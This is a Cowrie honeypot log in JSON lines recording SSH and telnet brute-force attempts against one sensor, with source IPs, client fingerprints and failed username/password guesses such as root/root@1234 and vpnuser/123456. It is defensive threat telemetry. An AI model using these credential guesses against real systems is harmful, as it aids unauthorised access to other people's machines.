{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41314,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe393d9cc08","protocol":"telnet","message":"New connection: 74.91.213.120:41314 (159.203.135.109:23) [session: efe393d9cc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:22.934395Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58688,"dst_ip":"159.203.135.109","dst_port":22,"session":"6744b7a2792b","protocol":"ssh","message":"New connection: 45.153.34.114:58688 (159.203.135.109:22) [session: 6744b7a2792b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:23.124989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:23.129533Z","src_ip":"45.153.34.114","session":"6744b7a2792b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:23.219036Z","src_ip":"45.153.34.114","session":"6744b7a2792b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:23.564940Z","src_ip":"45.153.34.114","session":"6744b7a2792b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:24.660832Z","src_ip":"45.153.34.114","session":"6744b7a2792b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41318,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe0c3910d2e","protocol":"telnet","message":"New connection: 74.91.213.120:41318 (159.203.135.109:23) [session: 1fe0c3910d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:27.402745Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38950,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6cc852222e","protocol":"telnet","message":"New connection: 74.91.213.120:38950 (159.203.135.109:23) [session: ea6cc852222e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:31.252223Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"da8a1f988e6e","protocol":"ssh","message":"New connection: 45.153.34.114:51766 (159.203.135.109:22) [session: da8a1f988e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:31.298582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:31.344907Z","src_ip":"45.153.34.114","session":"da8a1f988e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:31.385243Z","src_ip":"45.153.34.114","session":"da8a1f988e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:31.858345Z","src_ip":"45.153.34.114","session":"da8a1f988e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:32.948615Z","src_ip":"45.153.34.114","session":"da8a1f988e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":50684,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e98491fcbe0","protocol":"ssh","message":"New connection: 81.192.46.49:50684 (159.203.135.109:22) [session: 2e98491fcbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:37.532614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:37.539785Z","src_ip":"81.192.46.49","session":"2e98491fcbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:37.654279Z","src_ip":"81.192.46.49","session":"2e98491fcbe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2047","message":"login attempt [root/2047] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:38.146646Z","src_ip":"81.192.46.49","session":"2e98491fcbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":34534,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f3fbdfa33a5","protocol":"ssh","message":"New connection: 185.153.231.45:34534 (159.203.135.109:22) [session: 3f3fbdfa33a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.156517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.161659Z","src_ip":"185.153.231.45","session":"3f3fbdfa33a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.265083Z","src_ip":"81.192.46.49","session":"2e98491fcbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.289889Z","src_ip":"185.153.231.45","session":"3f3fbdfa33a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44740,"dst_ip":"159.203.135.109","dst_port":22,"session":"2190f0986d22","protocol":"ssh","message":"New connection: 45.153.34.114:44740 (159.203.135.109:22) [session: 2190f0986d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.551441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.556857Z","src_ip":"45.153.34.114","session":"2190f0986d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.643449Z","src_ip":"45.153.34.114","session":"2190f0986d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE","message":"login attempt [root/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.834269Z","src_ip":"185.153.231.45","session":"3f3fbdfa33a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:39.907090Z","src_ip":"45.153.34.114","session":"2190f0986d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:40.970217Z","src_ip":"185.153.231.45","session":"3f3fbdfa33a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:40.994622Z","src_ip":"45.153.34.114","session":"2190f0986d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6970f11e59d","protocol":"telnet","message":"New connection: 74.91.213.120:41028 (159.203.135.109:23) [session: f6970f11e59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:42.356863Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":60294,"dst_ip":"159.203.135.109","dst_port":22,"session":"6117369a8985","protocol":"ssh","message":"New connection: 125.16.27.190:60294 (159.203.135.109:22) [session: 6117369a8985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:43.433372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:43.438759Z","src_ip":"125.16.27.190","session":"6117369a8985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:43.709425Z","src_ip":"125.16.27.190","session":"6117369a8985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aloalo","message":"login attempt [root/aloalo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:44.823875Z","src_ip":"125.16.27.190","session":"6117369a8985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:46.096995Z","src_ip":"125.16.27.190","session":"6117369a8985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44742,"dst_ip":"159.203.135.109","dst_port":22,"session":"febbc99dde75","protocol":"ssh","message":"New connection: 45.153.34.114:44742 (159.203.135.109:22) [session: febbc99dde75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:47.379634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:47.387537Z","src_ip":"45.153.34.114","session":"febbc99dde75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:47.473142Z","src_ip":"45.153.34.114","session":"febbc99dde75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:47.724371Z","src_ip":"45.153.34.114","session":"febbc99dde75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":41508,"dst_ip":"159.203.135.109","dst_port":22,"session":"7275bcc11f36","protocol":"ssh","message":"New connection: 45.61.187.220:41508 (159.203.135.109:22) [session: 7275bcc11f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:48.281203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:48.290307Z","src_ip":"45.61.187.220","session":"7275bcc11f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:48.334222Z","src_ip":"45.61.187.220","session":"7275bcc11f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123456","message":"login attempt [vpnuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:48.549348Z","src_ip":"45.61.187.220","session":"7275bcc11f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:48.815543Z","src_ip":"45.153.34.114","session":"febbc99dde75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33222,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe232a155cc8","protocol":"telnet","message":"New connection: 74.91.213.120:33222 (159.203.135.109:23) [session: fe232a155cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:49.302689Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:49.597952Z","src_ip":"45.61.187.220","session":"7275bcc11f36","protocol":"ssh"}
